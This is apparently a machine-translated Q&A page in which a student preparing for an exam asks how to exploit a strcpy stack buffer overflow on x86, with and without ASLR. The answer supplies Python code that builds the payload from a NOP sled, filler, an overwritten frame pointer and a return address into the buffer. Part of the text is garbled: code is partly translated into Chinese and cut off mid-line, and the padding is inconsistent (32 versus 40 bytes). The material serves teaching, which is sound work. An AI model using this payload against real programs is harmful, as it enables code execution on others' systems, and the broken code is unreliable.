Security 没有安全性的缓冲区溢出?

Security 没有安全性的缓冲区溢出?,security,x86,buffer,buffer-overflow,aslr,Security,X86,Buffer,Buffer Overflow,Aslr,我正在复习下周的考试,我遇到了一个过去的问题 void func(char * arg) { char buf[32]; strcpy(buf, arg); } 假设 没有任何防御措施 buf从0xbffebfb0开始 (gdb)x/2wx$ebp 0xbffebfd8:0xbffec068 0x08048fe1 a) 如果要运行一个24字节长的有效负载,应将哪些字节复制到缓冲区以进行攻击?(我想为24个字节填写“\x90”) b) 如果启用了ASLR(每次运行时将堆栈

我正在复习下周的考试,我遇到了一个过去的问题

void func(char * arg)
{
     char buf[32];
     strcpy(buf, arg);
}
假设

  • 没有任何防御措施
  • buf从0xbffebfb0开始
  • (gdb)x/2wx$ebp 0xbffebfd8:0xbffec068 0x08048fe1
a) 如果要运行一个24字节长的有效负载,应将哪些字节复制到缓冲区以进行攻击?(我想为24个字节填写“\x90”)

b) 如果启用了ASLR(每次运行时将堆栈偏移0-15字节),那么什么负载(在python打印语句中描述)将始终让上面的外壳代码执行?或者为什么这样的有效负载是不可能的?

a)gdb的输出与此函数的正常编译不一致:缓冲区顶部和
ebp
之间应该有32个字节的差异。但是,
0xbffebfd8-0xbffebfb0
0x28
(40字节)。我假设这是不正确的,因为唯一的局部变量是
buf

def hack(payload='\x90'*24):
    filler = 'A'*(32 - len(payload)) # for rest of buffer
    frame_ptr = struct.pack("<I", 0x42424242)
    ret = struct.pack("<I", 0xbffebfb0) # jump to top of buffer
    return payload + filler + frame_ptr + ret + '\0'
def hack(有效负载='\x90'*24):
对于缓冲区的其余部分,filler='A'*(32-len(有效负载))#
frame_ptr=结构包(“
print ("\x90"*15 + # nop sled
       payload +
       'A'*(40 - len(payload) - 15) + # filler
       struct.pack("<I", 0x42424242) + # saved frame pointer
       struct.pack("<I", 0xbffebfb0) + # saved return address
       '\0' )